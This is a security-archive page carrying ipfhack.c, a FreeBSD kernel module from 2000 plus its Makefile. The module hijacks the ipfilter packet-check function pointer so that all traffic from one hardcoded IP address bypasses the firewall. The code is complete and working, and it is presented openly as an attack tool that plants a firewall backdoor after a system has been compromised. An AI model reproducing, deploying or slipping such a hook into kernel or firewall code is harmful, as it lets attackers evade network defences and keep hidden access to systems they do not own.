what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ipfhack.c

ipfhack.c
Posted May 22, 2000
Authored by s0ftpj, Pigpen | Site s0ftpj.org

LKM for FreeBSD which makes ipfilter always accept packets from a certain IP.

systems | freebsd
SHA-256 | d411790929f20a121f5c4adfb5b253210f3b91a01fbfc42a70416a71e1ff5ec4

ipfhack.c

Change Mirror Download
/*
* Name: Filtering IPFiLTER
* Date: Thu May 18 11:00:59 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* SoftProject 2000 - Digital Sekurity for Y2k
* Sikurezza.org - Italian Security MailingList
*
* COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
* Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
*
* Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #7: Sun May i386
*
* IPFilter (like ipfw) uses a function pointer in ip_input() and ip_output()
* in order to process packets ...
*
* if(fr_checkp) {
* struct mbuf *m1 = m;
*
* if((*fr_checkp)(ip, hlen, m->m_pkthdr.rcvif, 0, &m1) || !m1)
* return;
* ip = mtod(m=m1, struct ip *);
* }
*
* I give you a Makefile in append so don't write me for that !!! :)
*/


#define GO_JOHNNY_GO "192.168.1.3"
/* Packets sent by this ip wouldn't process */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/kernel.h>
#include <sys/proc.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>



/* IPFILTER FreeBSD Options */

typedef struct ip ip_t;
typedef struct mbuf mb_t;

/* A simple typedef for filter check prototypes */

typedef int ipfr_t __P((ip_t *, int, void *, int, mb_t **));

/* Prototypes */

static int s_load __P((struct module *, int, void *));
static u_int32_t inaton __P((const char *));
extern ipfr_t *fr_checkp;
static ipfr_t myfr, *fr;

/* module handler */

static int
s_load (struct module *module, int cmd, void *arg)
{
int s;

switch(cmd) {
case MOD_LOAD:
s = splnet();
fr = fr_checkp;
fr_checkp = myfr;
splx(s);
break;

case MOD_UNLOAD:
s = splnet();
fr_checkp = fr;
splx(s);
break;
}

return 0;
}

/* module struct */

static moduledata_t s_mod_1 = {
"ipfil_mod",
s_load,
0
};


DECLARE_MODULE(ipfil_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY);

static int
myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp)
{
if(ip->ip_src.s_addr == inaton(GO_JOHNNY_GO))
return 0;

return(fr(ip, hlen, ifp, out, mp));
}


static u_int32_t
inaton(const char *str)
{
unsigned long l;
unsigned int val;
int i;

l = 0;

for(i=0; i < 4; i++) {
l <<= 8;
if(*str != '\0') {
val = 0;
while(*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if(*str != '\0')
str++;
}
}
return(htonl(l));
}
/*
# SoftProject 2000 - Digital Sekurity for Y2k
# Sikurezza.org - Italian Security MailingList
#
# COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
# Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
#
# Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #3: Thu Mar i386
# < pigpen@s0ftpj.org >

.PATH: /sys/kern
SRCS = ipfhack.c
CFLAGS+= -I/sys
KMOD = ipfhack
NOMAN = t
KLDMOD = t

KLDLOAD = /sbin/kldload
KLDUNLOAD = /sbin/kldunload

CLEANFILES+= ${KMOD}

load:
${KLDLOAD} -v ./${KMOD}

unload:
${KLDUNLOAD} -v -n ${KMOD}

.include <bsd.kmod.mk>
*/
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close